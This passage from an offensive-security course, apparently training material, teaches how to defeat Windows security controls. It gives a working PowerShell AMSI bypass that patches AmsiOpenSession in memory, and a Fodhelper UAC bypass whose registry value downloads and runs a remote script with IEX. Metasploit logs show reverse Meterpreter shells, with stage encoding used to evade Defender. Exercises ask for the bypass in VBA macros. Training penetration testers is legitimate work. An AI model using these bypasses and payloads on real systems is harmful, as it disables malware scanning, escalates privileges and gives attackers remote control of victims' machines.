amsi!AmsiOpenSession:
00007fff`aa0824c0 4885d2          test    rdx,rdx
00007fff`aa0824c3 7446            je      amsi!AmsiOpenSession+0x4b (00007fff`aa08250b)
00007fff`aa0824c5 4885c9          test    rcx,rcx
00007fff`aa0824c8 7441            je      amsi!AmsiOpenSession+0x4b (00007fff`aa08250b)
00007fff`aa0824ca 8139414d5349    cmp     dword ptr [rcx],49534D41h
00007fff`aa0824d0 7539            jne     amsi!AmsiOpenSession+0x4b (00007fff`aa08250b)
00007fff`aa0824d2 4883790800      cmp     qword ptr [rcx+8],0
00007fff`aa0824d7 7432            je      amsi!AmsiOpenSession+0x4b (00007fff`aa08250b)
00007fff`aa0824d9 4883791000      cmp     qword ptr [rcx+10h],0
00007fff`aa0824de 742b            je      amsi!AmsiOpenSession+0x4b (00007fff`aa08250b)
00007fff`aa0824e0 41b801000000    mov     r8d,1
00007fff`aa0824e6 418bc0          mov     eax,r8d
00007fff`aa0824e9 f00fc14118      lock xadd dword ptr [rcx+18h],eax
00007fff`aa0824ee 4103c0          add     eax,r8d
00007fff`aa0824f1 4898            cdqe
00007fff`aa0824f3 488902          mov     qword ptr [rdx],rax
00007fff`aa0824f6 7510            jne     amsi!AmsiOpenSession+0x48 (00007fff`aa082508)
00007fff`aa0824f8 418bc0          mov     eax,r8d
00007fff`aa0824fb f00fc14118      lock xadd dword ptr [rcx+18h],eax
00007fff`aa082500 4103c0          add     eax,r8d
00007fff`aa082503 4898            cdqe
00007fff`aa082505 488902          mov     qword ptr [rdx],rax
00007fff`aa082508 33c0            xor     eax,eax
00007fff`aa08250a c3              ret
00007fff`aa08250b b857000780      mov     eax,80070057h
00007fff`aa082510 c3              ret

Listing 41 - AmsiOpenSession in assembly code

In Listing 41, we unassembled all 0x1A
instructions that make up AmsiOpenSession. To force an error, we
could just modify the very first bytes to the binary values that
represent the last two instructions, which are highlighted.

This way, every call to AmsiOpenSession would fail even if the
supplied arguments were valid. Instead of completely overwriting
instructions, we may also be able to make more minor modifications
that achieve the same goal.

The two first instructions in AmsiOpenSession are a TEST followed
by a conditional jump. This specific conditional jump is called
jump if equal (JE) and depends on a CPU flag called the zero flag
(ZF).[364]

The conditional jump is controlled by the TEST instruction according
to the argument and is executed if the zero flag is equal to 1.[365]
If we modify the TEST instruction to an XOR[366] instruction, we
may force the Zero flag to be set to 1 and trick the CPU into taking
the conditional jump that leads to the invalid argument return value.

XOR takes two registers as an argument but if we supply the same
register as both the first and second argument, the operation will
zero out the content of the register. The result of the operation
controls the zero flag since if the result ends up being zero, the
zero flag is set.

In summary, we will overwrite the TEST RDX,RDX with an XOR RAX,RAX
instruction, forcing the execution flow to the error branch, which
will disable AMSI.

There is one additional detail we need to take into account. When the
original TEST RDX,RDX instruction is compiled, it is converted into
the binary value 0x4885d2. This value takes up three bytes so the
replacement, XOR RAX,RAX has to use up the same amount of memory.

XOR RAX,RAX is compiled into the binary value 0x4831c0, which luckily
matches the number of bytes we require.

At this point, we realize that we can disable AMSI by overwriting only
three bytes of memory inside the AmsiOpenSession API. In the next
section, we'll implement this in PowerShell.

Exercises

  1. Follow the analysis in WinDbg and locate the TEST and conditional
    jump instruction.
  2. Search for any other instructions inside AmsiOpenSession that
    could be overwritten just as easily to achieve the same goal.

Patching the Internals

In this section, we'll complete the attack and modify the first
instruction of AmsiOpenSession directly from PowerShell with the
help of Win32 APIs.

To implement the attack, we'll need to perform three actions. We'll
obtain the memory address of AmsiOpenSession, modify the memory
permissions where AmsiOpenSession is located, and modify the three
bytes at that location.

In order to resolve the address of AmsiOpenSession, we
would typically call GetModuleHandle[367]
to obtain the base address of AMSI.DLL, then call
GetProcAddress.[368] We previously used reflection to
accomplish this with the in-memory PowerShell shellcode runner.

As part of the shellcode runner we created, the LookupFunc
method called both GetModuleHandle and GetProcAddress from the
Microsoft.Win32.UnsafeNativeMethods namespace as shown in Listing
42.

function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
	return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

Listing 42 - PowerShell method that resolves
Win32 APIs through reflection

We can use this function like any other Win32 API to locate
AmsiOpenSession by opening a 64-bit instance of PowerShell_ISE and
executing the code shown in Listing 43:

PS C:\Users\Offsec> function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
	return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$funcAddr
140736475571392

Listing 43 - Resolving the address of
AmsiOpenSession

To verify this address, we'll open WinDbg, attach to the
PowerShell_ISE process and quickly translate the address to
hexadecimal with the ? command, prepending the address with
0n:

0:001> ? 0n140736475571392
Evaluate expression: 140736475571392 = 00007fff`c3a224c0

Listing 44 - Converting the address to hexadecimal

With the value converted, we can then unassemble the instructions at
that address to check if it is correct:

0:001> u 7fff`c3a224c0
amsi!AmsiOpenSession:
00007fff`c3a224c0 4885d2          test    rdx,rdx
00007fff`c3a224c3 7446            je      amsi!AmsiOpenSession+0x4b (00007fff`c3a2250b)
00007fff`c3a224c5 4885c9          test    rcx,rcx
00007fff`c3a224c8 7441            je      amsi!AmsiOpenSession+0x4b (00007fff`c3a2250b)
00007fff`c3a224ca 8139414d5349    cmp     dword ptr [rcx],49534D41h
00007fff`c3a224d0 7539            jne     amsi!AmsiOpenSession+0x4b (00007fff`c3a2250b)
00007fff`c3a224d2 4883790800      cmp     qword ptr [rcx+8],0
00007fff`c3a224d7 7432            je      amsi!AmsiOpenSession+0x4b (00007fff`c3a2250b)

Listing 45 - Verifying AmsiOpenSession address
in WinDbg

Clearly, we have located the address of AmsiOpenSession.

This solves our first challenge. Now we must consider memory
protections.

In Windows, all memory is divided into 0x1000-byte pages.[369]
A memory protection setting is applied to each page, describing the
permissions of data on that page.

Normally, code pages are set to PAGE_EXECUTE_READ, or
0x20,[370] which means we can read and execute this code, but not
write to it. This obviously presents a problem.

Let's verify this in WinDbg with !vprot,[371] which
displays memory protection information for a given memory address:

0:001> !vprot 7FFFC3A224C0
BaseAddress:       00007fffc3a22000
AllocationBase:    00007fffc3a20000
AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY
RegionSize:        0000000000008000
State:             00001000  MEM_COMMIT
Protect:           00000020  PAGE_EXECUTE_READ
Type:              01000000  MEM_IMAGE

Listing 46 - Displaying memory protections with
WinDbg

The highlighted line shows the current memory protection for the
memory page, which is indeed PAGE_EXECUTE_READ.

Since we want to overwrite three bytes on this page, we must first
change the memory protection. This can be done with the Win32
VirtualProtect[372] API, which has the following function
prototype:

BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
);

Listing 47 - Function prototype for
VirtualProtect

The first argument is the page address. The second argument is the
size of the area we wish to modify. This is largely irrelevant since
APIs like VirtualProtect operate on an entire memory page. Setting
this parameter to any value between 1 and 0xFFF will produce the same
result. However, for clarity we will set this to "3".

The third argument (flNewProtect) is the most important since it
dictates the memory protection we want to apply to the page. In our
case, we want to set this to PAGE_EXECUTE_READWRITE (0x40). This
will ensure that we retain the original read and execute permissions
and also enable our overwrite.

The final argument (lpflOldProtect) is a variable where the current
memory protection will be stored by the operating system API. The
first three arguments can easily be translated from the C data
types to corresponding types in .NET of [IntPtr], [UInt32], and
[UInt32] respectively.

The output value is a pointer to a DWORD. In C# we can specify this as
a reference with the MakeByRefType[105-1] method, which can be used
together with the [ref][373] keyword when invoking the function.
Additionally, the value itself is suppled as a [UInt32].

As discussed in a previous module, to invoke VirtualProtect from
PowerShell, we pass its memory address (found through LookupFunc) and
its arguments types (found through getDelegateType) and combine them
with GetDelegateForFunctionPointer.

Our code so far is shown in Listing 48:

function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
	return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {

	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
		[Parameter(Position = 1)] [Type] $delType = [Void]
	)

	$type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

	return $type.CreateType()
}

[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)

Listing 48 - Calling VirtualProtect to
modify memory protections

As shown above, we combined LookupFunc and getDelegateType
into one statement along with the argument types to create the
$vp_function variable from which we call the Invoke method.
The $oldProtectionBuffer variable is used to store the old memory
protection setting as required.

Before executing the code, we must resume PowerShell_ISE execution
by entering the g in WinDbg. The code itself should simply
return the value "True" if successful, but we can verify it in WinDbg
by pausing execution through Debug > Break and then repeating the
!vprot command:

0:001> !vprot 7FFFC3A224C0
BaseAddress:       00007fffc3a22000
AllocationBase:    00007fffc3a20000
AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY
RegionSize:        0000000000001000
State:             00001000  MEM_COMMIT
Protect:           00000080  PAGE_EXECUTE_WRITECOPY
Type:              01000000  MEM_IMAGE

Listing 49 - Displaying modified memory
protections with WinDbg

However, the new memory protection is set to
PAGE_EXECUTE_WRITECOPY instead of PAGE_EXECUTE_READWRITE. In
order to conserve memory, Windows shares AMSI.DLL between
processes that use it. PAGE_EXECUTE_WRITECOPY is equivalent to
PAGE_EXECUTE_READWRITE but it is a private copy used only in the
current process.

Now that we have located AmsiOpenSession and modified its memory
protections, we can overwrite the required three bytes.

We can use the Copy[125-1] method from the
System.Runtime.InteropServices namespace to copy the assembly
instruction (XOR RAX,RAX) represented as 0x48, 0x31, 0xC0 from a
managed array ($buf) to unmanaged memory:

$buf = [Byte[]] (0x48, 0x31, 0xC0) 
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)

Listing 50 - Overwriting the first assembly
instruction

This should disable AMSI as soon as it is used, but we'll restore
the original memory protection to cover our tracks. To restore the
memory protections, we'll use VirtualProtect again and specify
the previous memory protection value 0x20 as shown in Listing
51:

$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtectionBuffer)

Listing 51 - Calling VirtualProtect to
restore memory protections

Since we stored the function delegate in the $vp variable, we do not
have to resolve it twice. To verify the modifications, we'll again use
WinDbg:

0:001> u 7FFFC3A224C0
amsi!AmsiOpenSession:
00007fff`c3a224c0 4831c0          xor     rax,rax
00007fff`c3a224c3 7446            je      amsi!AmsiOpenSession+0x4b (00007fff`c3a2250b)
00007fff`c3a224c5 4885c9          test    rcx,rcx
00007fff`c3a224c8 7441            je      amsi!AmsiOpenSession+0x4b (00007fff`c3a2250b)
00007fff`c3a224ca 8139414d5349    cmp     dword ptr [rcx],49534D41h
00007fff`c3a224d0 7539            jne     amsi!AmsiOpenSession+0x4b (00007fff`c3a2250b)
00007fff`c3a224d2 4883790800      cmp     qword ptr [rcx+8],0

0:001> !vprot 7FFFC3A224C0
BaseAddress:       00007fffc3a22000
AllocationBase:    00007fffc3a20000
AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY
RegionSize:        0000000000008000
State:             00001000  MEM_COMMIT
Protect:           00000020  PAGE_EXECUTE_READ
Type:              01000000  MEM_IMAGE

Listing 52 - Verifying modifications in
AmsiOpenSession

Notice the modified assembly instructions as well as the restored
memory protections highlighted in Listing 52.

As a final test, we will enter the 'amsiutils' string, which would
normally trigger AMSI:

PS C:\Users\Offsec> 'amsiutils'
amsiutils

Listing 53 - AMSI bypass working in PowerShell

Very nice. The bypass indeed works and AMSI is disabled. We can now
execute arbitrary malicious PowerShell code.

Exercises

  1. Recreate the bypass shown in this section by both entering the
    commands directly in the command prompt and by downloading and
    executing them as a PowerShell script from your Kali Linux Apache web
    server.
  2. Incorporate this bypass into a VBA macro where PowerShell is
    launched through WMI to bypass both the Windows Defender detection on
    the Microsoft Word document and the AMSI-based detection.

Extra Mile

Create a similar AMSI bypass but instead of modifying the code
of AmsiOpenSession, find a suitable instruction to change in
AmsiScanBuffer and implement it from reflective PowerShell.

UAC Bypass vs Microsoft Defender

In this section, we'll walk through a case study in which we must
execute PowerShell in a new process and evade AMSI. This case study
leverages a UAC[374] bypass that abuses the Fodhelper.exe
application. This particular UAC bypass still works on the most recent
Windows version at the time of this writing and does not rely on
writing a file to disk.

First, we'll briefly cover the internals of the bypass and determine
how it fares against AMSI.

FodHelper UAC Bypass

This particular bypass was disclosed in 2017[375] and
leverages the Fodhelper.exe application that was introduced in Windows
10 to manage optional features like region-specific keyboard settings.

The Fodhelper binary runs as high integrity, and as we will
demonstrate, it is vulnerable to exploitation due to the way it
interacts with the Windows Registry. More specifically, it interacts
with the current user's registry, which we are allowed to modify.

As reported in the original blog post, Fodhelper tries to locate the
following registry key, which does not exist by default in Windows 10:

HKCU:\Software\Classes\ms-settings\shell\open\command

Listing 54 - The registry key that Fodhelper tries
to locate

If we create the registry key and add the DelegateExecute value,
Fodhelper will search for the default value (Default) and use the
content of the value to create a new process. If our exploit creates
the registry path and sets the (Default) value to an executable
(like powershell.exe), it will be spawned as a high integrity
process when Fodhelper is started.

Listing 55 shows a proof-of-concept in PowerShell that
creates the needed registry keys with associated values required to
launch PowerShell.

PS C:\Users\Offsec> New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value powershell.exe –Force

PS C:\Users\Offsec> New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force

PS C:\Users\Offsec> C:\Windows\System32\fodhelper.exe

Listing 55 - Proof of concept to create registry keys
and launch PowerShell

The first command creates the registry path through the
New-Item cmdlet[376] and the -Path option.
Additionally, it sets the value of the default key to "powershell.exe"
through the -Value option while the -Force flag
suppresses any warnings.

In the second command, the DelegateExecute value is created through
the similar New-ItemProperty cmdlet,[377] again
using the -Path option along with the -Name option
to specify the value and the -PropertyType option to specify
the type of value, in this case a String.

Finally, fodhelper.exe is started to launch
the high-integrity PowerShell prompt as shown in Figure
7.

Figure 7: High integrity PowerShell prompt launched from UAC bypass

Based on the highlighted section of Figure 7, the
PowerShell prompt is running in high integrity.

This is obviously only a simple proof-of-concept but it has been
weaponized by exploitation frameworks including Metasploit so let's
test it out.

First, we'll use one of our many shellcode runners to obtain a reverse
Meterpreter shell on the Windows 10 victim machine and use that active
Meterpreter session to launch the fodhelper UAC bypass module. Listing
56 shows the executed UAC bypass module:

msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_fodhelper

msf5 exploit(windows/local/bypassuac_fodhelper) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows x86
   1   Windows x64


msf5 exploit(windows/local/bypassuac_fodhelper) > set target 1
target => 1

msf5 exploit(windows/local/bypassuac_fodhelper) > sessions -l

Active sessions
===============

  Id  Name  Type                     Information                               Connection
  --  ----  ----                     -----------                               ----------
  1         meterpreter x64/windows  victim\Offsec @ victim  192.168.119.120:443 -> 192.168.120.11:51474 (192.168.120.11)

msf5 exploit(windows/local/bypassuac_fodhelper) > set session 1
session => 1

msf5 exploit(windows/local/bypassuac_fodhelper) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf5 exploit(windows/local/bypassuac_fodhelper) > set lhost 192.168.119.120
lhost => 192.168.119.120
msf5 exploit(windows/local/bypassuac_fodhelper) > set lport 444
lport => 444
msf5 exploit(windows/local/bypassuac_fodhelper) > exploit

[*] Started HTTPS reverse handler on https://192.168.119.120:444
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[-] Exploit failed [user-interrupt]: Rex::TimeoutError Operation timed out.
[-] exploit: Interrupted

Listing 56 - Metasploit Fodhelper UAC bypass module fails

First we chose the module, displayed and set the 64-bit target option
along with the session number, and configured the payload. Once we
launched the exploit, it failed even though the user was a member of
the administrators group.

If we view the desktop of the Windows 10 victim machine when the
exploit is launched, we discover an alert from Windows Defender. To
get more information, we can open the Security Center app from the
search menu, navigate to the Virus & threat protection submenu, and
click Threat history. Under Quarantined threats, we find the entry
displayed in Figure 8.

Figure 8: Antivirus alert from Windows Defender due to Metasploit UAC module

This antivirus alert refers to the PowerShell component of the UAC
bypass and was triggered by AMSI.

Note: The amount of output in the multi/handler and the antivirus
alert given can vary.

AMSI stops the default Metasploit fodhelper module from bypassing UAC
and even kills the existing Meterpreter session.

In the next section, we'll attempt to execute the UAC bypass and evade
AMSI.

Exercises

  1. Manually run the Fodhelper UAC bypass with the PowerShell commands
    listed in this section.
  2. Attempt the Fodhelper UAC bypass in Metasploit to trigger the
    detection. It may be required to revert the machine between bypass
    attempts.

Improving Fodhelper

We know that the Fodhelper UAC bypass works and we also know that the
Metasploit module triggers AMSI, so we must improve our tradecraft and
develop a UAC bypass that also evades AMSI.

Registry key names are limited to 255 characters, registry value names
are limited to 16383 characters, and the value itself is only limited
by the available system memory.[378] This means the registry
value can contain both an AMSI bypass and our PowerShell shellcode
runner.

The registry is not commonly scanned by antivirus products and the
shellcode itself would most likely evade detection.

To avoid leaving behind such a large registry key, we can simply opt
for a PowerShell download cradle instead. First, we'll modify the
shellcode runner located in run.txt on our Kali web server
to include one of the AMSI bypasses. Then we'll set up a Metasploit
listener to catch the shell.

Once that's completed, we'll modify the UAC bypass PowerShell commands
as shown in Listing 57.

PS C:\Users\Offsec> New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value "powershell.exe (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.txt') | IEX" -Force

PS C:\Users\Offsec> New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force

PS C:\Users\Offsec> C:\Windows\System32\fodhelper.exe

Listing 57 - Modified registry value with PowerShell
download cradle

After launching fodhelper.exe, Metasploit generates the
following output:

msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: urhro5fl) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 2 opened (192.168.119.120:443 -> 192.168.120.11:50345) at 2019-10-31 08:05:44 -0400

Listing 58 - Metasploit opens a Meterpreter
session and then hangs

The Meterpreter session opens and then hangs. Security Center on the
Windows 10 victim machine has generated a new antivirus alert as shown
in Figure 9.

Figure 9: Antivirus alert from Windows Defender due to Meterpreter payload

As the name of the alert suggests, the Meterpreter payload has been
flagged after the second stage payload has been sent.

In this case, Windows Defender monitored the network interface and
subsequently detected the unencrypted and unencoded second stage.

We could avoid this by enabling the advanced EnableStageEncoding
option along with StageEncoder in Metasploit. We'll set
EnableStageEncoding to "true" and StageEncoder to a compatible
encoder, in this case x64/zutto_dekiru:

...
msf5 exploit(multi/handler) > set EnableStageEncoding true 
EnableStageEncoding => true

msf5 exploit(multi/handler) > set StageEncoder x64/zutto_dekiru
StageEncoder => x64/zutto_dekiru

msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: ukslgwmw) Encoded stage with x64/zutto_dekiru
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: ukslgwmw) Staging x64 payload (207506 bytes) ...
[*] Meterpreter session 3 opened (192.168.119.120:443 -> 192.168.120.11:50350)

meterpreter > shell
Process 5796 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami /groups
whoami /groups

GROUP INFORMATION
-----------------

Group Name                            Type             SID          Attributes                                                     
===================================== ================ ============ ==================
...

NT AUTHORITY\NTLM Authentication      Well-known group S-1-5-64-10  Mandatory group, E             
Mandatory Label\High Mandatory Level  Label            S-1-16-12288  

Listing 59 - Metasploit listener with second
stage payload encoding

This time, we bypassed both AMSI and Windows Defender and spawned our
reverse Meterpreter shell at a high integrity level as highlighted
in Listing 59. We could improve the UAC bypass by
hiding the PowerShell window and cleaning up the registry, but this is
unnecessary for the purposes of our case study.

Exercises

  1. Recreate the UAC bypass while evading AMSI with any of the AMSI
    bypasses.
  2. Use a compiled C# assembly instead of a PowerShell shellcode runner
    to evade AMSI and bypass UAC.

Bypassing AMSI in JScript

Since AMSI also scans Jscript code, we'll revisit our DotNetToJscript
techniques and develop Jscript AMSI bypasses.

Detecting the AMSI API Flow

First, we'll use Frida to determine how the Jscript implementation of
AMSI compares to the PowerShell implementation.

Since our Jscript code is executed by wscript.exe, we must instrument
that with Frida. The issue is that the process must be created before
we launch Frida, but wscript.exe terminates as soon as the script
completes.

To solve this, we'll create the following .js Jscript test
file:

WScript.Sleep(20000);

var WshShell = new ActiveXObject("WScript.Shell");
WshShell.Run("calc")

Listing 60 - Jscript code that sleeps and then
starts the calculator

First, we paused execution for 20 seconds with the Sleep[379]
method. This delay helps us identify the process ID of the wscript.exe
process with Process Explorer, start the frida-trace command,
and allow it to hook the APIs.

Next, we instantiated the Shell object and used that to start the
calculator. Due to the delay, we can attach Frida and detect the
second part of the code being processed by AMSI.

After entering this code, we'll double-click the Jscript file, locate
the process ID in Process Explorer, and start Frida:

C:\Users\Offsec> frida-trace -p 708 -x amsi.dll -i Amsi*
Instrumenting functions...
AmsiOpenSession: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiOpenSession.js"
AmsiUninitialize: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiUninitialize.js"
AmsiScanBuffer: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiScanBuffer.js"
AmsiUacInitialize: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiUacInitialize.js"
AmsiInitialize: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiInitialize.js"
AmsiCloseSession: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiCloseSession.js"
AmsiScanString: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiScanString.js"
AmsiUacUninitialize: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiUacUninitialize.js"
AmsiUacScan: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiUacScan.js"
Started tracing 9 functions. Press Ctrl+C to stop.
           /* TID 0x144c */
 12118 ms  AmsiScanString()
 12118 ms     | [*] AmsiScanBuffer()
 12118 ms     | |- amsiContext: 0x28728e17c80
 12118 ms     | |- buffer: IHost.Sleep("20000");
IWshShell3.Run("calc");

 12118 ms     | |- length: 0x60
 12118 ms     | |- contentName 0x28728e35f08
 12118 ms     | |- amsiSession 0x0
 12118 ms     | |- result 0xf97dafdc00

 12128 ms     | [*] AmsiScanBuffer() Exit
 12128 ms     | |- Result value is: 1

 12181 ms  AmsiUninitialize()
Process terminated

Listing 61 - Hooking AMSI calls in wscript.exe
with Frida

This output indicates that AmsiScanString and AmsiScanBuffer were
called but AmsiOpenSession was not. This is because Jscript handles
each command in a single session while PowerShell processes each in a
separate session.

On the surface, the interaction between wscript.exe and AMSI appears
similar to that of PowerShell, although the commands submitted to AMSI
(as highlighted in Listing 61) have been partly
processed and do not match the code in the script.

To observe AMSI in action against the DotNetToJscript shellcode
runner we developed in a previous module, let's reuse it and execute
it on the Windows 10 victim machine. Recall that we compiled the C#
shellcode runner into a managed DLL and transformed it into a Jscript
file with the DotNetToJscript executable.

If we simply execute it, we find that wscript.exe starts but the shell
is not launched. To investigate deeper, we'll prepend the shellcode
runner with the same Sleep statement and hook it with Frida:

          /* TID 0x690 */
  7667 ms  AmsiScanString()
  7667 ms     | [*] AmsiScanBuffer()
  7667 ms     | |- amsiContext: 0x26e81c079d0
  7667 ms     | |- buffer: IHost.Sleep("20000");
IWshShell3.Environment("Process");
IWshEnvironment.Item("COMPLUS_Version", "v4.0.30319");
_ASCIIEncoding._6002000f("AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb2");
_ASCIIEncoding._60020014("AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb2");
_FromBase64Transform._60020009("Unsupported parameter type 00002011", "0", "9924");
_MemoryStream._60020017("Unsupported parameter type 00002011", "0", "7443");
_MemoryStream._6002000b("0");
_BinaryFormatter._60020006("Unsupported parameter type 00000009");
_ArrayList._60020020("Unsupported parameter type 00000000");
_ArrayList._6002001b();
_HeaderHandler._60020007("Unsupported parameter type 0000200c");

  7667 ms     | |- length: 0x818
  7667 ms     | |- contentName 0x26e9c8f6918
  7667 ms     | |- amsiSession 0x0
  7667 ms     | |- result 0xd9cedfdd20

  7717 ms     | [*] AmsiScanBuffer() Exit
  7717 ms     | |- Result value is: 32768

  7720 ms  AmsiUninitialize()

Listing 62 - Hooking shellcode runner
script with Frida

Towards the end of the output, AMSI returns a value of 32768,
indicating Windows Defender flagged the code as malicious. In this
case, there is no doubt that AMSI is catching our DotNetToJscript
technique.

Exercise

  1. Perform the hooking of wscript.exe with Frida and locate the
    malicious detection by AMSI and Windows Defender.

Is That Your Registry Key?

In order to use a DotNetToJscript payload, we'll need to bypass AMSI.
However, when bypassing AMSI in PowerShell, we relied on reflection or
Win32 APIs, but these techniques are not available from Jscript.

Security researcher @Tal_Liberman discovered that Jscript tries
to query the "AmsiEnable" registry key from the HKCU hive before
initializing AMSI.[380] If this key is set to "0", AMSI is not
enabled for the Jscript process.

This query is performed in the JAmsi::JAmsiIsEnabledByRegistry
function inside Jscript.dll, which is only called when
wscript.exe is started. Let's use WinDbg to attempt to discover the
exact registry query.

We'll open WinDbg, navigate to File -> Open Executable... and
enter the full path of wscript.exe along with the full path of our
testing Jscript file (Figure 10).

Figure 10: Starting wscript.exe from WinDbg

With wscript.exe started, we'll set a breakpoint on
jscript!JAmsi::JAmsiIsEnabledByRegistry with bu:

0:000> bu jscript!JAmsi::JAmsiIsEnabledByRegistry

0:000> g
ModLoad: 00007fff`d3350000 00007fff`d337e000   C:\Windows\System32\IMM32.DLL
ModLoad: 00007fff`cf4d0000 00007fff`cf4e1000   C:\Windows\System32\kernel.appcore.dll
ModLoad: 00007fff`cdad0000 00007fff`cdb6c000   C:\Windows\system32\uxtheme.dll
ModLoad: 00007fff`cf280000 00007fff`cf31b000   C:\Windows\SYSTEM32\sxs.dll
ModLoad: 00007fff`d2700000 00007fff`d286a000   C:\Windows\System32\MSCTF.dll
ModLoad: 00007fff`cdee0000 00007fff`cdf0e000   C:\Windows\system32\dwmapi.dll
ModLoad: 00007fff`d01b0000 00007fff`d038b000   C:\Windows\System32\CRYPT32.dll
ModLoad: 00007fff`cf4b0000 00007fff`cf4c2000   C:\Windows\System32\MSASN1.dll
ModLoad: 00007fff`cfd80000 00007fff`cfd97000   C:\Windows\System32\CRYPTSP.dll
ModLoad: 00007fff`d2b00000 00007fff`d2ba2000   C:\Windows\System32\clbcatq.dll
ModLoad: 00007fff`a3a70000 00007fff`a3b41000   C:\Windows\System32\jscript.dll
ModLoad: 00007fff`d3000000 00007fff`d3052000   C:\Windows\System32\SHLWAPI.dll
Breakpoint 0 hit
